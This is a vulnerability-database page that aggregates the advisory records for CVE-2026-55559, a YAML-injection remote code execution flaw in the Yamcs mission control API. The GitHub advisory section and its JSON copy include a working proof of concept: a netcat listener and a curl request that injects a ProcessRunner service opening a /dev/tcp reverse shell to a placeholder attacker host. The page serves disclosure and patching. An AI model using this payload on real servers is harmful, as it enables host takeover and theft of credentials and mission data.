Vulnerability-Lookup

CVE-2026-55559 (GCVE-0-2026-55559)

Vulnerability from cvelistv5 – Published: 2026-08-28 17:22 – Updated: 2026-08-28 19:58

Title

Yamcs: Remote Code Execution via instance-template argument YAML injection (createInstance)

Summary

Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs inserts templateArgs from POST /api/instances and PATCH /api/instances/{instance} into YAML through VarStatement.append in yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java without YAML-context escaping. The rendered configuration is parsed by YamcsServer.createInstance and loaded by YamcsServerInstance, allowing an attacker to inject a services entry for org.yamcs.ProcessRunner. Deployments without security.yaml expose the operation through the guest superuser, while secured deployments require SystemPrivilege.CreateInstances. Successful exploitation executes commands as the Yamcs service account. This issue is fixed in versions 5.12.8 and 5.13.2.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-28 19:57 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')
CWE-470 - Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
CWE-1336 - Improper Neutralization of Special Elements Used in a Template Engine

Assigner

GitHub_M mitre root

References

5 references

URL	Tags
https://github.com/yamcs/yamcs/security/advisorie…	x_refsource_CONFIRM
https://github.com/yamcs/yamcs/commit/549f295cf8c…	x_refsource_MISC
https://github.com/yamcs/yamcs/commit/7192da1c49b…	x_refsource_MISC
https://github.com/yamcs/yamcs/releases/tag/yamcs…	x_refsource_MISC
https://github.com/yamcs/yamcs/releases/tag/yamcs…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
yamcs	yamcs	Affected: < 5.12.8 Affected: >= 5.13.0, < 5.13.2	guessed

Show details on NVD website

JSON

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FKIE_CVE-2026-55559

Vulnerability from fkie_nvd - Published: 2026-08-28 20:18 - Updated: 2026-08-28 22:16

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/yamcs/yamcs/commit/549f295cf8c5496a5e799d6bec2432ef976c82aa
	security-advisories@github.com	https://github.com/yamcs/yamcs/commit/7192da1c49bdf5ab1d72e579a47766a7c43e87c8
	security-advisories@github.com	https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8
	security-advisories@github.com	https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2
	security-advisories@github.com	https://github.com/yamcs/yamcs/security/advisories/GHSA-73mf-m39p-wpm9
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/yamcs/yamcs/security/advisories/GHSA-73mf-m39p-wpm9

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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  "affected": [
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      "affectedData": [
        {
          "product": "yamcs",
          "vendor": "yamcs",
          "versions": [
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              "status": "affected",
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  ],
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  "lastModified": "2026-08-28T22:16:51.073",
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}

GHSA-73MF-M39P-WPM9

Vulnerability from github – Published: 2026-08-28 17:23 – Updated: 2026-08-28 17:23

Summary

Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)

Details

Summary

templateArgs sent to POST /api/instances (and PATCH /api/instances/{instance}) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each services: entry by its class:, so injecting YAML through a template arg lets you add a services: entry for org.yamcs.ProcessRunner and run a command on the host. The args aren't escaped for YAML or validated server-side.

Needs the CreateInstances privilege. With no security.yaml the guest user is superuser=true and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path.

Details

VarStatement appends arg values with no escaping:

// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29
buf.append(value);

The only filter, EscapeFilter, does HTML escaping (& < > ' ") and leaves newlines, colons and indentation alone, so {{ x | escape }} doesn't help either. InstancesApi.createInstance forwards the args without checking them against the declared variables; the choices / required metadata is only used to render the web form.

Request to exec: InstancesApi.createInstance (http/api/InstancesApi.java:169, checks CreateInstances) → YamcsServer.createInstance (YamcsServer.java:651, template.process(templateArgs)) → rendered config loaded as YConfiguration → YamcsServerInstance instantiates services: by class: (YamcsServerInstance.java:75,88, via YObjectLoader) → org.yamcs.ProcessRunner runs new ProcessBuilder(command).start() (ProcessRunner.java:81-82).

createInstance has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (ServicesApi only starts/stops existing ones), so the template arg is the only way in.

A fix would be to validate templateArgs (reject newlines / control characters, enforce the declared choices / required) and/or escape substituted values for the YAML context.

PoC

Run the shipped example: ./run-example.sh templates. It serves HttpServer on 8090 with no security.yaml, so guest is superuser and the API is unauthenticated. Its example template puts {{ spaceSystem }} into name: "...".

Listener:

nc -lvnp 4444

Request (set <LHOST> / <LPORT> to the listener):

curl -i -X POST http://<target>:8090/api/instances \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "pwned",
    "template": "example",
    "templateArgs": {
      "spaceSystem": "x\"\nservices:\n  - class: org.yamcs.ProcessRunner\n    args:\n      command: [\"bash\", \"-c\", \"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\"]\n#",
      "bar": "Option 2"
    }
  }'

Returns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (id shows the service account). The arg closes the name: "..." quote, adds a top-level services: (which overrides the template's services: [], last key wins in SnakeYAML), and ends with # to comment out the trailing ".

With security.yaml it's the same request with a bearer token. This works for a user whose only privilege is CreateInstances: that user gets 403 (Missing system privilege 'ChangeMissionDatabase') on the algorithm-override path but 200 here.

Impact

Command execution as the Yamcs service account. That includes reading secretKey from etc/yamcs.yaml (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.

It needs CreateInstances, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without security.yaml, this is host takeover from the API.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.13.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.13.0"
            },
            {
              "fixed": "5.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.12.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55559"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-470",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T17:23:04Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\n`templateArgs` sent to `POST /api/instances` (and `PATCH /api/instances/{instance}`) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each `services:` entry by its `class:`, so injecting YAML through a template arg lets you add a `services:` entry for `org.yamcs.ProcessRunner` and run a command on the host. The args aren\u0027t escaped for YAML or validated server-side.\n\nNeeds the `CreateInstances` privilege. With no `security.yaml` the `guest` user is `superuser=true` and the API is unauthenticated, so it\u0027s reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn\u0027t touch this path.\n\n### Details\n\n`VarStatement` appends arg values with no escaping:\n\n```java\n// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29\nbuf.append(value);\n```\n\nThe only filter, `EscapeFilter`, does HTML escaping (`\u0026 \u003c \u003e \u0027 \"`) and leaves newlines, colons and indentation alone, so `{{ x | escape }}` doesn\u0027t help either. `InstancesApi.createInstance` forwards the args without checking them against the declared variables; the `choices` / `required` metadata is only used to render the web form.\n\nRequest to exec:\n`InstancesApi.createInstance` (`http/api/InstancesApi.java:169`, checks `CreateInstances`)\n\u2192 `YamcsServer.createInstance` (`YamcsServer.java:651`, `template.process(templateArgs)`)\n\u2192 rendered config loaded as `YConfiguration`\n\u2192 `YamcsServerInstance` instantiates `services:` by `class:` (`YamcsServerInstance.java:75,88`, via `YObjectLoader`)\n\u2192 `org.yamcs.ProcessRunner` runs `new ProcessBuilder(command).start()` (`ProcessRunner.java:81-82`).\n\n`createInstance` has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (`ServicesApi` only starts/stops existing ones), so the template arg is the only way in.\n\nA fix would be to validate `templateArgs` (reject newlines / control characters, enforce the declared `choices` / `required`) and/or escape substituted values for the YAML context.\n\n### PoC\n\nRun the shipped example: `./run-example.sh templates`. It serves `HttpServer` on 8090 with no `security.yaml`, so guest is superuser and the API is unauthenticated. Its `example` template puts `{{ spaceSystem }}` into `name: \"...\"`.\n\nListener:\n\n```\nnc -lvnp 4444\n```\n\nRequest (set `\u003cLHOST\u003e` / `\u003cLPORT\u003e` to the listener):\n\n```bash\ncurl -i -X POST http://\u003ctarget\u003e:8090/api/instances \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"name\": \"pwned\",\n    \"template\": \"example\",\n    \"templateArgs\": {\n      \"spaceSystem\": \"x\\\"\\nservices:\\n  - class: org.yamcs.ProcessRunner\\n    args:\\n      command: [\\\"bash\\\", \\\"-c\\\", \\\"exec 3\u003c\u003e/dev/tcp/\u003cLHOST\u003e/\u003cLPORT\u003e; sh -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\\\"]\\n#\",\n      \"bar\": \"Option 2\"\n    }\n  }\u0027\n```\n\nReturns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (`id` shows the service account). The arg closes the `name: \"...\"` quote, adds a top-level `services:` (which overrides the template\u0027s `services: []`, last key wins in SnakeYAML), and ends with `#` to comment out the trailing `\"`.\n\nWith `security.yaml` it\u0027s the same request with a bearer token. This works for a user whose only privilege is `CreateInstances`: that user gets 403 (`Missing system privilege \u0027ChangeMissionDatabase\u0027`) on the algorithm-override path but 200 here.\n\n### Impact\n\nCommand execution as the Yamcs service account. That includes reading `secretKey` from `etc/yamcs.yaml` (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.\n\nIt needs `CreateInstances`, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn\u0027t have a shell, or that runs without `security.yaml`, this is host takeover from the API.",
  "id": "GHSA-73mf-m39p-wpm9",
  "modified": "2026-08-28T17:23:04Z",
  "published": "2026-08-28T17:23:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-73mf-m39p-wpm9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/commit/549f295cf8c5496a5e799d6bec2432ef976c82aa"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/commit/7192da1c49bdf5ab1d72e579a47766a7c43e87c8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-55559 (GCVE-0-2026-55559)

FKIE_CVE-2026-55559

GHSA-73MF-M39P-WPM9

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature